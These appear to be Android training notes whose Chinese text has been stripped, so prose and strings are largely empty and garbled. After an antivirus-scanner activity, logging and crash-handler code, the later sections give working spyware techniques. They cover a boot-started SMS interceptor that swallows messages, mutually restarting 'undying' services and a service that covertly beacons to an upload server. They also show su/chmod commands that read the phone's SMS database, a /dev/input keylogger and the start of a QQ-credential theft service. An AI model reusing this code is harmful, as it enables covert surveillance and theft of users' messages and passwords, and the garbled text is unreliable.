<style	name="myHorizontal.ProgressBar"	parent="@android:style/Widget.ProgressBar.Horizontal"
				<item	name="android:progressDrawable">@drawable/progress_horizontal</item>
</style>		
b)/Mobilesafe	v8.0/res/drawable/progress_horizontal.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	11ProgressBar	-->
<layer-list	xmlns:android="http://schemas.android.com/apk/res/android"	>
				<item
								android:id="@android:id/background"
								android:drawable="@drawable/security_progress_bg">
				</item>
				<item
								android:id="@android:id/secondaryProgress"
								android:drawable="@drawable/security_progress">
				</item>
				<item					//item
								android:id="@android:id/progress"
								android:drawable="@drawable/security_progress">
				</item>
</layer-list>		
c)

			 	

new	Thread()	{
				public	void	run()	{
								pb_scan_progress.setMax(100);
								for	(int	i	=	1;	i	<=	100;	i++)	{
												pb_scan_progress.setProgress(i);
												try	{
																Thread.sleep(30);
												}	catch	(InterruptedException	e)	{
																e.printStackTrace();
												}
								}
				}
}.start();





--

1PackageManager.GET_UNINSTALLED_PACKAGES
2flag
packageInfo.signatures[0]		google

1()
2MD5
3MD5
4antivirus.db
5

package	cn.zengfansheng.mobilesafe;

	

import	java.util.List;

	

import	android.app.Activity;

import	android.content.pm.PackageInfo;

import	android.content.pm.PackageManager;

import	android.graphics.Color;

import	android.os.AsyncTask;

import	android.os.Bundle;

import	android.view.ViewGroup.LayoutParams;

import	android.view.animation.AnimationUtils;

import	android.view.animation.RotateAnimation;

import	android.widget.ImageView;

import	android.widget.LinearLayout;

import	android.widget.ProgressBar;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.db.dao.AntiVirusDao;

import	cn.zengfansheng.mobilesafe.utils.DensityUtil;

import	cn.zengfansheng.mobilesafe.utils.MD5Utils;

	

/**

*	26AntiVirusActivity

*	@author	hacket

*/

public	class	AntiVirusActivity	extends	Activity	{

	

				private	ImageView	iv_scan_malware;//	

	

				private	ProgressBar	pb_scan_progress;//	

	

				private	TextView	tv_scan_status;//	

	

				private	LinearLayout	ll_scan_content;//	

	

				private	PackageManager	packageManager;//	

	



				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								this.setContentView(R.layout.activity_anti_virus);

	

								iv_scan_malware	=	(ImageView)

this.findViewById(R.id.iv_scan_malware);

	

								pb_scan_progress	=	(ProgressBar)

this.findViewById(R.id.pb_scan_progress);

								tv_scan_status	=	(TextView)	this.findViewById(R.id.tv_scan_status);

								ll_scan_content	=	(LinearLayout)

this.findViewById(R.id.ll_scan_content);

	

								//	

								//	multiThreadUpdateUI();

	

								//	1

								/*RotateAnimation	ra	=	new	RotateAnimation(0,

360,Animation.RELATIVE_TO_PARENT,	0.5f,Animation.RELATIVE_TO_PARENT,	0.5f);

								ra.setDuration(2000);

								ra.setRepeatCount(Animation.INFINITE);

								ra.setInterpolator(new	LinearInterpolator());//	

								iv_scan_malware.startAnimation(ra);*/

	

								//	2xml

								RotateAnimation	ra	=	(RotateAnimation)

AnimationUtils.loadAnimation(this,	R.anim.anti_virus_walware);

								iv_scan_malware.startAnimation(ra);

	

	

								//	3

								new	AsyncTask<Void,	Object,	Void>(){

	

												int	total	=	0;//	

	

												//	

												@Override

												protected	void	onPreExecute()	{

																super.onPreExecute();

																tv_scan_status.setText("" );

																try	{

																				Thread.sleep(2000);

																}	catch	(InterruptedException	e)	{

																				e.printStackTrace();

																}

												}

	

												//	ui

												@Override

												protected	void	onProgressUpdate(Object...	values)	{

																super.onProgressUpdate(values);

																AntivirusAppInfo	appInfo	=	(AntivirusAppInfo)	values[0];

	

																tv_scan_status.setText("" 	+	appInfo.appName);



	

																if	(appInfo.isVirusApp)	{

																				TextView	tv	=	new	TextView(getApplicationContext());

	

																				LayoutParams	params	=	new

LayoutParams(LayoutParams.WRAP_CONTENT,	LayoutParams.WRAP_CONTENT);

																				tv.setLayoutParams(params);

																				int	px5	=	DensityUtil.dip2px(getApplicationContext(),

5);

																				int	px10	=	DensityUtil.dip2px(getApplicationContext(),

10);

																				tv.layout(px10,	px5,	px10,	px5);

																				tv.setTextColor(Color.RED);

																				tv.setText("" 	+	appInfo.appName	+	":"	+	"" );

																				ll_scan_content.addView(tv,	0);//	

																}	else	{

																				TextView	tv	=	new	TextView(getApplicationContext());

	

																				tv.setTextColor(Color.GREEN);

																				LayoutParams	params	=	new

LayoutParams(LayoutParams.WRAP_CONTENT,	LayoutParams.WRAP_CONTENT);

																				tv.setLayoutParams(params);

																				int	px5	=	DensityUtil.dip2px(getApplicationContext(),

5);

																				int	px10	=	DensityUtil.dip2px(getApplicationContext(),

10);

																				tv.layout(px10,	px5,	px10,	px5);

	

																				tv.setText("" 	+	appInfo.appName	+	":"	+	"" );

	

																				ll_scan_content.addView(tv,	0);//	

																}

																total++;

																pb_scan_progress.setProgress(total);

												}

	

												//	

												@Override

												protected	Void	doInBackground(Void...	params)	{

	

																packageManager	=	getPackageManager();

	

																int	flags	=

PackageManager.GET_UNINSTALLED_PACKAGES|PackageManager.GET_SIGNATURES;//()

																//	If	flag	GET_UNINSTALLED_PACKAGES	is	set,	a	list	of	all

applications	including	those	deleted	with	DONT_DELETE_DATA	(partially

installed	apps	with	data	directory)	will	be	returned.

	

																List<PackageInfo>	listPackageInfos	=

packageManager.getInstalledPackages(flags);

																pb_scan_progress.setMax(listPackageInfos.size());

																for	(PackageInfo	packageInfo	:	listPackageInfos)	{

	

																				//	

																				String	signature	=



packageInfo.signatures[0].toString().trim();

																				String	signatureMD5	=	MD5Utils.encode(signature);//

																				System.out.println("" +packageInfo.packageName+"---

"+signatureMD5+"" );

	

																				boolean	isVirus	=

AntiVirusDao.isVirusByMD5(getApplicationContext(),	signatureMD5);

	

																				AntivirusAppInfo	appInfo	=	new	AntivirusAppInfo();

																				appInfo.appName	=

packageInfo.applicationInfo.loadLabel(packageManager).toString();

																				if	(isVirus)	{//	

																								appInfo.isVirusApp	=	true;

																				}	else	{//	

																								appInfo.isVirusApp	=	false;

																				}

	

																				//	,publishProgress()onProgressUpdate()

																				//	onProgressUpdate(appInfo);

																				publishProgress(appInfo);

	

																				try	{

																								Thread.sleep(30);

																				}	catch	(InterruptedException	e)	{

																								e.printStackTrace();

																				}

																}

																return	null;

												}

	

												//	

												@Override

												protected	void	onPostExecute(Void	result)	{

																super.onPostExecute(result);

																tv_scan_status.setText("" );

																iv_scan_malware.clearAnimation();

												}

	

								}.execute();

	

								/*ProgressBar

									*	new	Thread()	{

												public	void	run()	{

																pb_scan_progress.setMax(100);

																for	(int	i	=	1;	i	<=	100;	i++)	{

																				pb_scan_progress.setProgress(i);

																				try	{

																								Thread.sleep(30);

																				}	catch	(InterruptedException	e)	{

																								e.printStackTrace();

																				}

																}

												}

								}.start();*/

				}

	



				private	class	AntivirusAppInfo	{

								private	boolean	isVirusApp;//	

								private	String	appName;//	

				}

				/**

					*	1

					*/

				/*public	void	multiThreadUpdateUI()	{

								boolean	flag	=	true;//	true	180°

								Lock	lock	=	new	ReentrantLock();

								Condition	conditionA	=	lock.newCondition();

								Condition	conditionB	=	lock.newCondition();

								//	A

								new	Thread()	{

												public	void	run()	{

																while	(true)	{

																				try	{

																								lock.lock();

																								if	(!flag)	{//	flagfalse

																												System.out.println("A~~~");

																												conditionA.await();//	conditionB

																								}	else	{

																												System.out.println("AUI");

																												RotateAnimation	ra1	=	new	RotateAnimation(0,	90,

																																				Animation.RELATIVE_TO_SELF,	0.5f,

																																				Animation.RELATIVE_TO_SELF,	0.5f);

																												ra1.setDuration(1500);//	

																												ra1.setRepeatCount(Animation.INFINITE);//	-1

																												iv_scan_malware.startAnimation(ra1);

																												//	1	,2,	3x

																												//	,4x

																												//	,5y,	6y

	

																												flag	=	false;

																												conditionB.signal();//	B

																												System.out.println("B~~~");

																												Thread.sleep(1500);

																								}

																				}	catch	(InterruptedException	e)	{

																								e.printStackTrace();

																				}	finally	{

																								lock.unlock();

																				}

																}

												}

								}.start();

	

								//	B

								new	Thread()	{

												public	void	run()	{

																while	(true)	{

																				try	{

																								lock.lock();

																								if	(flag)	{//	flag	=	true	,	A

																												System.out.println("B~~~");

																												conditionB.await();//	A



																								}	else	{

																												System.out.println("BUI");

																												RotateAnimation	ra2	=	new	RotateAnimation(90,

180,

																																				Animation.RELATIVE_TO_SELF,	0.5f,

																																				Animation.RELATIVE_TO_SELF,	0.5f);

																												ra2.setDuration(1500);//	

																												ra2.setRepeatCount(Animation.INFINITE);//	-1

																												iv_scan_malware.startAnimation(ra2);

	

																												flag	=	true;

																												conditionA.signal();//	A

																												System.out.println("A");

																												Thread.sleep(1500);

																								}

																				}	catch	(InterruptedException	e)	{

																								e.printStackTrace();

																				}	finally	{

																								lock.unlock();

																				}

																}

												}

								}.start();

				}*/

}



11-22	17:17:43.833:	E/AndroidRuntime(16476):	Caused	by:
java.lang.IllegalStateException:	Process	16476	exceeded	cursor	quota	100,	will
kill	it

if	(cursor	!=	null)	{
			cursor.close();
}		

	
	



--

1
2
3Intent

//	
@Override
protected	void	onPostExecute(Void	result)	{
				super.onPostExecute(result);
				tv_scan_status.setText("" );
				iv_scan_malware.clearAnimation();
				//	
				if	(virusLists	!=	null	&&	virusLists.size()	>	0)	{
								
								for	(final	String	virusPackage	:	virusLists)	{
												
												AlertDialog.Builder	builder	=	new		Builder(AntiVirusActivity.this);
												builder.setTitle("" );
												builder.setMessage("" );
												builder.setPositiveButton("" ,	new	OnClickListener()	{
																@Override
																public	void	onClick(DialogInterface	dialog,	int	which)	{
																				//
																				Intent	intent	=	new	Intent();
																				intent.setAction(Intent.ACTION_DELETE);
																				intent.setData(Uri.parse("package:"+virusPackage));
																				startActivity(intent);
																				dialog.dismiss();
																}
												});
												builder.setNegativeButton("" ,	new	OnClickListener()	{
																
																@Override
																public	void	onClick(DialogInterface	dialog,	int	which)	{
																								dialog.dismiss();



																}
												});
												builder.show();
								}
				}
}

		



Activity
Activity
<activity
				android:name="cn.zengfansheng.mobilesafe.AntiVirusActivity"
				android:configChanges="orientation|keyboard|keyboardHidden|screenSize"	>
</activity>



Log

LogLog
LOG_LEVEL

Log
//	1LOG_LEVEL7,log
//	2LOG_LEVEL3,ERRORWARNlog

package	cn.zengfansheng.mobilesafe.utils;
import	android.util.Log;
/**
	*	7
	*	@author	hacket
	*/
public	class	Logger	{
				private	static	int	LOG_LEVEL	=	7;
				//	1LOG_LEVEL7,log
				//	2LOG_LEVEL3,ERRORWARNlog
				private	static	int	ERROR	=	1;
				private	static	int	WARN	=	2;
				private	static	int	INFO	=	3;
				private	static	int	DEBUG	=	4;
				private	static	int	VERBOSE	=	5;

				public	static	void	e(String	tag,	String	msg)	{
								if	(LOG_LEVEL	>	ERROR)	{
												Log.e(tag,	msg);
								}
				}
				public	static	void	w(String	tag,	String	msg)	{
								if	(LOG_LEVEL	>	WARN)	{
												Log.w(tag,	msg);
								}
				}
				public	static	void	i(String	tag,	String	msg)	{



								if	(LOG_LEVEL	>	INFO)	{
												Log.i(tag,	msg);
								}
				}
				public	static	void	d(String	tag,	String	msg)	{
								if	(LOG_LEVEL	>	DEBUG)	{
												Log.d(tag,	msg);
								}
				}
				public	static	void	v(String	tag,	String	msg)	{
								if	(LOG_LEVEL	>	VERBOSE)	{
												Log.v(tag,	msg);
								}
				}
}



Bug-bug
UncaughtExceptionHandler

bug
1bughandler
Thread.setDefaultUncaughtExceptionHandler(new	MyUncaughtExceptionHandler());
2handler
3handler
Process.killProcess(Process.myPid());
1bug
public	class	MainActivity	extends	Activity	{
				String	s;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								Thread.setDefaultUncaughtExceptionHandler(new	MyUncaughtExceptionHandler());
								
								s.equals("11");
				}
}
2
MyUncaughtExceptionHandler.java
package	cn.zengfansheng.bugreport;
import	java.io.File;
import	java.io.FileNotFoundException;
import	java.io.FileOutputStream;
import	java.io.IOException;
import	java.io.OutputStream;
import	java.io.PrintStream;
import	java.lang.Thread.UncaughtExceptionHandler;
import	android.os.Environment;
import	android.os.Process;
public	class	MyUncaughtExceptionHandler	implements	UncaughtExceptionHandler	{
				@Override
				public	void	uncaughtException(Thread	thread,	Throwable	ex)	{
								System.out.println(",..." );



								try	{
												//	1StringWriter
//												StringWriter	sWriter	=	new	StringWriter();
//												PrintWriter	err	=	new	PrintWriter(sWriter);
//												ex.printStackTrace(err);
//												
//												File	file	=	new	File(Environment.getExternalStorageDirectory(),	"error.log");
//												FileOutputStream	fos	=	new	FileOutputStream(file);
//												fos.write(sWriter.toString().getBytes());
//												fos.close();
												
												//	2
												File	file	=		new	File(Environment.getExternalStorageDirectory(),	"error1.log"
												OutputStream	out	=	new	FileOutputStream(file	);
												PrintStream	err	=	new	PrintStream(out	);
												ex.printStackTrace(err	);
												out.close();
												
								}	catch	(FileNotFoundException	e)	{
												e.printStackTrace();
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}	finally	{
												//		
												Process.killProcess(Process.myPid());
								}
				}
}



	



1project.properties
2
proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-
project.txt		
3\sdk\tools\proguard\proguard-android.txtproject.properties
proguard.config=proguard-android.txt
4\\proguard\mapping.txt	
4apk
5view
6proguard-android.txt
proguard-android.txt

-keep	class		cn.zengfansheng.mobilesafe.domain.AppInfo
#	This	is	a	configuration	file	for	ProGuard.
#	http://proguard.sourceforge.net/index.html#manual/usage.html
	
-dontusemixedcaseclassnames		
-dontskipnonpubliclibraryclasses		
-verbose		\proguard\*.txt	txt
	
#	Optimization	is	turned	off	by	default.	Dex	does	not	like	code	run
#	through	the	ProGuard	optimize	and	preverify	steps	(and	performs	some
#	of	these	optimizations	on	its	own).
-dontoptimize			
-dontpreverify	
#	Note	that	if	you	want	to	enable	optimization,	you	cannot	just
#	include	optimization	flags	in	your	own	project	configuration	file;
#	instead	you	will	need	to	point	to	the
#	"proguard-android-optimize.txt"	file	instead	of	this	one	from	your
#	project.properties	file.
	
-keepattributes	*Annotation*	()
-keep	public	class	com.google.vending.licensing.ILicensingService
-keep	public	class	com.android.vending.licensing.ILicensingService
	
#	For	native	methods,	see



http://proguard.sourceforge.net/manual/examples.html#native
-keepclasseswithmembernames	class	*	{
				native	<methods>;
}
	
#	keep	setters	in	Views	so	that	animations	can	still	work.
#	see	http://proguard.sourceforge.net/manual/examples.html#beans
-keepclassmembers	public	class	*	extends	android.view.View	{		view
			void	set*(***);
			***	get*();
}
	
#	We	want	to	keep	methods	in	Activity	that	could	be	used	in	the	XML	attribute
onClick
-keepclassmembers	class	*	extends	android.app.Activity	{	Activity
			public	void	*(android.view.View);
}
	
#	For	enumeration	classes,	see
http://proguard.sourceforge.net/manual/examples.html#enumerations
-keepclassmembers	enum	*	{	
				public	static	**[]	values();
				public	static	**	valueOf(java.lang.String);
}
	
-keep	class	*	implements	android.os.Parcelable	{
		public	static	final	android.os.Parcelable$Creator	*;
}
	
-dontwarn	net.youmi.android.**		
				-keep	class	net.youmi.android.**	{			
				*;	
				}	
-keep	class		cn.zengfansheng.mobilesafe.domain.AppInfo
	
-keepclassmembers	class	**.R$*	{	R
				public	static	<fields>;
}
	



#	The	support	library	contains	references	to	newer	platform	versions.
#	Don't	warn	about	those	in	case	this	app	is	linking	against	an	older
#	platform	version.		We	know	about	them,	and	they	are	safe.
-dontwarn	android.support.**

()
-dontwarn	net.youmi.android.**
				-keep	class	net.youmi.android.**	{
				*;		
				}				
2 Proguard proguard4.7Proguard4.6OK
proguard4.6tools/proguad/binlibOK.
http://sourceforge.net/projects/proguard/files/latest/download?source=files

	





(google)&ui&Log&bug&&apk
1
a)	onPreExecute
ui
b)	onPostExecute
ui
c)	doInBackgroundExecute
publishProgress
d)	onProgressUpdate(int	progress)
ui
e)	publishProgress(int	progress)
ui
2UI-
RotateAnimation

xml
3UI-		ProgressBar styles.xml
4
signaturemd5
5
Intent
6Activity

android:configChanges="orientation|keyboard|keyboardHidden|screenSize"
7Log
loglog
8bug
bug
//	
Thread.setDefaultUncaughtExceptionHandler(new	MyUncaughtExceptionHandler());

//		
Process.killProcess(Process.myPid());
9		

10



11

keep	-class	.		*.*
proguard-android.txt



malware		

infinite	

radar			

interpolator	

pivot		



Activity

1.	
2.	view	button,textview,imageview
3.	activity	manager	activitytask
7.	activitypermission,
4.	activity
standard:
singleTop
singleTaskActivity
singleInstanceTask	StackActivity
5.	activity
6.	activity

public	void	click(View	view){
				Intent	intent	=	new	Intent();
				intent.setAction(Intent.ACTION_VIEW);
				intent.addCategory(Intent.CATEGORY_BROWSABLE);
				//	intent.addCategory(Intent.CATEGORY_DEFAULT);//
				intent.setData(Uri.parse("http://"	+	"www.baidu.com"));
				startActivity(intent);
}
test
testMainActvity
BrowserActivity
testBrowserActivity



	
<permission
				android:name="cn.com.icbc.icbc_bank"
				android:description="@string/icbc_bank_detail"
				android:protectionLevel="dangerous"	>
</permission>





Intent

1.intent
	
2.IPC

	
3.Intent
4.activity,service,
	
Intent
intent-filter
intent



BROADCAST	RECEIVER
1.intent
	
2.
	
3.	,	()

4.		,

1
IntentFilter	filter	=	new	IntentFilter();
filter.addAction("android.provider.Telephony.SMS_RECEIVED");
filter.setPriority(Integer.MAX_VALUE);//	
registerReceiver(mySmsReciver,	filter);		
2

1 BootCompletedReceiver.java
package	cn.zengfansheng.receiverreboot;
import	android.content.BroadcastReceiver;
import	android.content.Context;
import	android.content.Intent;
/**
	*	
	*	@author	hacket
	*
	*/
public	class	BootCompletedReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								System.out.println("~~~" );
								//	
								//	Toast.makeText(context,	"~~~",	0).show();
								Intent	smsIntent	=	new	Intent(context,	SmsReceiverServices.class);



								context.startService(smsIntent);
				}
}
2
package	cn.zengfansheng.receiverreboot;

import	android.app.Service;

import	android.content.BroadcastReceiver;

import	android.content.Context;

import	android.content.Intent;

import	android.content.IntentFilter;

import	android.os.IBinder;

import	android.telephony.SmsMessage;

/**

	*	

	*	@author	hacket

	*/

public	class	SmsReceiverServices	extends	Service	{

				private	MySmsReciver	mySmsReciver;

				@Override

				public	IBinder	onBind(Intent	intent)	{

								return	null;

				}

				@Override

				public	void	onCreate()	{

								super.onCreate();

								//	

								mySmsReciver	=	new	MySmsReciver();

								IntentFilter	filter	=	new	IntentFilter();

							

filter.addAction("android.provider.Telephony.SMS_RECEIVED");

								filter.setPriority(Integer.MAX_VALUE);//	

								registerReceiver(mySmsReciver,	filter);

								System.out.println("~~~" );

				}

				@Override

				public	void	onDestroy()	{

								super.onDestroy();



								//	

								if	(mySmsReciver	!=	null)	{

												unregisterReceiver(mySmsReciver);

												mySmsReciver	=	null;

												System.out.println("~~~" );

								}

				}

				

				/**

					*	

					*	@author	hacket

					*/

				private	class	MySmsReciver	extends	BroadcastReceiver{

								@Override

								public	void	onReceive(Context	context,	Intent	intent)	{

												//MyUncaughtExceptionHandler	handler	=	new

MyUncaughtExceptionHandler();

												//Thread.setDefaultUncaughtExceptionHandler(handler);

												Object[]	objects	=	(Object[])

intent.getExtras().get("pdus");

												for	(Object	obj	:	objects)	{

																SmsMessage	smsMessage	=

SmsMessage.createFromPdu((byte[])	obj);

																String	messageAddress	=

smsMessage.getOriginatingAddress();

																String	messageBody	=	smsMessage.getMessageBody();

																System.out.println("" 	+	messageAddress);

																System.out.println("" 	+	messageBody);

																abortBroadcast();//	

												}

								}

				}

}

wiz:open_attachment?guid=fe047019-96ae-4b47-95c0-ad155b7b7b38


Service

	

	

	
activity

1.	.
2.	.	
			sd,
(miui)
3.	91
		(usb)
Service
Service1.java
package	cn.zengfansheng.undieservice;

	

import	android.app.Service;

import	android.content.Intent;

import	android.os.IBinder;

	

public	class	Service1	extends	Service	{

	

				@Override

				public	IBinder	onBind(Intent	intent)	{

								return	null;

				}

				@Override

				public	void	onCreate()	{

								super.onCreate();

								System.out.println("Service1---Service1" );

				}

				@Override

				public	void	onDestroy()	{

								super.onDestroy();

								System.out.println("Service1---Service1" );

								Intent	intent	=	new	Intent(this,	Service2.class);

								startService(intent);



				}

}

Service2.java

package	cn.zengfansheng.undieservice;
import	android.app.Service;
import	android.content.Intent;
import	android.os.IBinder;
public	class	Service2	extends	Service	{
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				@Override
				public	void	onCreate()	{
								super.onCreate();
								System.out.println("Service1---Service2" );
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								Intent	intent	=	new	Intent(this,	Service1.class);
								startService(intent);
								System.out.println("Service1---Service2" );
				}
}

1

wiz:open_attachment?guid=0959d77a-c261-4828-aae9-45ef041f16bd


	
2rootlbelinux		kill	9	cn.zengfansheng.undieservice			
startActivity(...)
startService(..)
11-23	07:18:10.534:	E/AndroidRuntime(2021):	Caused	by:
android.content.ActivityNotFoundException:	Unable	to	find	explicit	activity	class
{cn.zengfansheng.receiverreboot/cn.zengfansheng.receiverreboot.SmsReceiverServices};
have	you	declared	this	activity	in	your	
AndroidManifest.xml?



1

	
-,,
-,,wifi
-,,
-
-,

2Android
Android		APIAndroid		Linux		ID

	Linux		ID	
	Android		ID		ID	ID	
3UID
UIDAndroid



4,
a)	
b)	ok	
c)	



0

1 http://www.grepcode.com/		reboot	broadcast
final	class	RebootRequestReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	c,	Intent	intent)	{
								mReqRebootNoWait	=	intent.getIntExtra("nowait",	0)	!=	0;	//
								mReqRebootInterval	=	intent.getIntExtra("interval",	-1);	//
								mReqRebootStartTime	=	intent.getIntExtra("startTime",	-1);	//
								mReqRebootWindow	=	intent.getIntExtra("window",	-1);//
								mReqMinScreenOff	=	intent.getIntExtra("minScreenOff",	-1);
								mReqMinNextAlarm	=	intent.getIntExtra("minNextAlarm",	-1);
								mReqRecheckInterval	=	intent.getIntExtra("recheckInterval",	-1);
								EventLog.writeEvent(EventLogTags.WATCHDOG_REQUESTED_REBOOT
																mReqRebootNoWait	?	1	:	0,	mReqRebootInterval,
																								mReqRecheckInterval,	mReqRebootStartTime,
																mReqRebootWindow,	mReqMinScreenOff,	mReqMinNextAlarm);
								checkReboot(true);
				}
}
-
1 android:sharedUserId="android.uid.system"
2
3Android
4android	
platform.x509.pem
platform.pk8

1
Permission	Denied

android:sharedUserId="android.uid.system"
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
				package="cn.zengfansheng.reboot"
				android:sharedUserId="android.uid.system"
				android:versionCode="1"
				android:versionName="1.0"	>	
2

http://www.grepcode.com/


Installation	error:	INSTALL_FAILED_SHARED_USER_INCOMPATIBLE		
Please	check	logcat	output	for	more	details.			
Launch	canceled!		

	
CERT.SF
CERT.RSA

	
a)	META-INF

	
b)	signapk

	

c)signapkjava	-jar	signapk.jar	

	

d)	java			-jar			signapk.jar			platform.x509.pem				platform.pk8				reboot.apk
	newreboot.apk



e)android

f	Failure	[INSTALL_FAILED_SHARED_USER_INCOMPATIBLE]

	
g)			\build\target\product\security

	



adb	log
adb	logcat	-b	radio	

package	cn.zengfansheng.readuserlog;

	

import	java.io.BufferedReader;

import	java.io.BufferedWriter;

import	java.io.File;

import	java.io.FileOutputStream;

import	java.io.IOException;

import	java.io.InputStream;

import	java.io.InputStreamReader;

import	java.io.OutputStreamWriter;

	

import	android.app.Service;

import	android.content.Intent;

import	android.os.IBinder;

import	android.widget.Toast;

	

/**

*	

*	@author	hacket

*/

public	class	ReadUserLogService	extends	Service	{

	

				@Override

				public	IBinder	onBind(Intent	intent)	{

								return	null;

				}

	

				@Override

				public	void	onCreate()	{

								super.onCreate();

	

								Toast.makeText(getApplicationContext(),	"" ,	1).show();

	

								//	

								//	

								new	Thread()	{

												public	void	run()	{

																try	{

																				Process	process	=

Runtime.getRuntime().exec("logcat");



																				InputStream	is	=	process.getInputStream();

																				BufferedReader	br	=	new	BufferedReader(new

InputStreamReader(is));

	

																				File	file	=	new	File(getFilesDir(),

"logcat.log");

																				FileOutputStream	fos	=	new

FileOutputStream(file);

																				BufferedWriter	bw	=	new	BufferedWriter(new

OutputStreamWriter(fos));

	

																				String	line	=	null;

																				while	((line	=	br.readLine())	!=	null)	{

																								if	(line.contains("ActivityManager"))	{

																												bw.write("---------------");

																												bw.write(line);

																												bw.newLine();

																												bw.flush();

																								}

																				}

																				//	

																				bw.close();

																				br.close();

																}	catch	(IOException	e)	{

																				e.printStackTrace();

																}

												}

								}.start();

	

				}

}

wiz:open_attachment?guid=381d1497-401c-4ce0-8f7b-eca7a66b975e
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10 				intent
	...
				GET

20
	http://192.168.1.247:8080/data.zip
	sd	downloads/data.zip
0
UploadService.java
package	cn.zengfansheng.upload;

	

import	java.util.Random;

import	java.util.Timer;

import	java.util.TimerTask;

	

import	android.app.Service;

import	android.content.Intent;

import	android.net.Uri;

import	android.os.IBinder;

	

/**

*	service

*	@author	hacket

*/

public	class	UploadService	extends	Service	{

	

				@Override

				public	IBinder	onBind(Intent	intent)	{

								return	null;

				}

	

				private	Timer	timer;

				private	TimerTask	task;

				@Override

				public	void	onCreate()	{

								super.onCreate();

	

								//	

								timer	=	new	Timer();

								task	=	new	TimerTask()	{

	



												Random	random	=	new	Random();

												@Override

												public	void	run()	{

																//	

																Intent	intent	=	new	Intent();

																intent.setAction(Intent.ACTION_VIEW);

																intent.addCategory(Intent.CATEGORY_BROWSABLE);

																intent.addCategory(Intent.CATEGORY_DEFAULT);

																intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

																String	url	=

"192.168.221.221:8080/FileUpload/FileUploadServlet?

info="+random.nextInt();

																intent.setData(Uri.parse("http://"+url));

																startActivity(intent);

												}

								};

								timer.schedule(task,	1000,	2000);

				}

	

				@Override

				public	void	onDestroy()	{

								super.onDestroy();

								if	(timer	!=	null)	{

												timer.cancel();

												timer	=	null;

								}

								if	(task	!=	null)	{

												task.cancel();

												task	=	null;

								}

				}

}

wiz:open_attachment?guid=714505dd-9231-400b-b086-93ea02d67760


root

root 1su.exe
2(googleroot)
system.img
ELFlinuxwndows(*.exe,*.dll)MZ
system.img
1app
apk
2bin
android
3etc
hosts
4fonts

5framework
frameworkjarservices.jar
6lib
*.dojnilinuxELF
7media
""""

	
8tts

9usr
usr/keyLayout/qwerty.kl

	
10xbin



sqlite3,su

arm
a)	xbinsubin4755
b)	Superuser.apkapp4755
c)	build.prop(#)
#ro.config.nocheckin=yes
ro.build.description=	sdk-eng	4.1.2	MASTER	495790	test-keys

	
rootSuperuser

root	
#	chmod	777	mmssms.db



root

1intel	x86root
2root

	

	

1-android
2Kungfu





armintelroot

intel	x86root 1 http://androidsu.com/superuser/Superuser.apksuAndroid
4.1.2(api16)
Superuser-3.1.3-x86-signed	(Superuser-3.2-RC3-x86-)root
2yaffs2img2.0
3yaffs2img \sdk\system-images\android-16\x86system.img
4subin4755 Superuser.apkapp4755
5system.img
6system.img \sdk\system-images\android-16\x86system.img

armroot
1http://androidsu.com/superuser/Superuser.apksuAndroid	4.1.2(api16)
superuser-3.1.3-arm-signed.zip
2yaffs2img2.0
3yaffs2img\sdk\system-images\android-16\armeabi-v7asystem.img
4subin4755Superuser.apkapp4755
5build.prop#ro.config.nocheckin=yes
6system.img
7system.img\sdk\system-images\android-16\armeabi-v7asystem.img
root
Superuser

	
rootSuperuser

	

http://androidsu.com/superuser/


root



root

1mmssms.dbmmssms.db-journal777
2650
3RootTools.jar
androidjar
mmssms.db-journalandroid	sqlite	*.db-journal
							sqlitedatabases*.db*.db-journal*.db-journal0.
							sqlitesqlitesqlite
									android*.db-journal*.db-journal0*.db-journal

public	void	click(View	view)	{
				try	{
								//	mmsms.db777
								Runtime.getRuntime().exec("su");
								RootTools.sendShell("chmod	777	/data/data/com.android.providers.telephony/databases/mmssms.db"
								RootTools.sendShell("chmod	777	/data/data/com.android.providers.telephony/databases/mmssms.db-
journal",30000);
								String	path	=	"/data/data/com.android.providers.telephony/databases/mmssms.db";
								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(path,	null,SQLiteDatabase.
								
								StringBuffer	sb	=	new	StringBuffer();
								Cursor	cursor	=	database.query("main.sms",	null,	null,	null,	null,	null,	null);
								while	(cursor.moveToNext())	{
												String	address	=	cursor.getString(cursor.getColumnIndex("address"));
												String	body	=	cursor.getString(cursor.getColumnIndex("body"));
												String	result	=	"" 	+	address	+	"	" 	+	body	+	"/n";
												sb.append(result);
												System.out.println(address+"" +body);
								}
								tv.setText(sb.toString());
								database.close();
								cursor.close();
				}	catch	(Exception	e)	{



								e.printStackTrace();
				}	finally	{
								try	{
												//	mmsms.db660
												RootTools.sendShell("chmod	660	/data/data/com.android.providers.telephony/databases/mmssms.db"
												RootTools.sendShell("chmod	777	/data/data/com.android.providers.telephony/databases/mmssms.db-
journal",30000);
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
				}
}



ROOT_

/dev/input	.

	
c
1/dev/input/event0

	
2cat	event06
3key.ckey
>adb	push	key	/data/data

	
4
#	chmod	777	key
5./key
621
7usr/keyLayout/qwerty.kl

1rawkeyfiles
RootTools.installBinary(this,	R.raw.key,	"key");
2 TheftQQService.java
package	cn.zengfansheng.theftqq;
import	java.util.List;
import	android.app.ActivityManager;
import	android.app.ActivityManager.RunningTaskInfo;
import	android.app.Service;
import	android.content.ComponentName;



import	android.content.Context;
import	android.content.Intent;
import	android.os.IBinder;
import	com.stericson.RootTools.RootTools;
/**
	*	 qq
	*	@author	hacket
	*/
public	class	TheftQQService	extends	Service	{
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				@Override
				public	void	onCreate()	{
								super.onCreate();
								final	ActivityManager	activityManager	=	(ActivityManager)	this
																.getSystemService(Context.ACTIVITY_SERVICE);
								//	
								new	Thread()	{
												public	void	run()	{
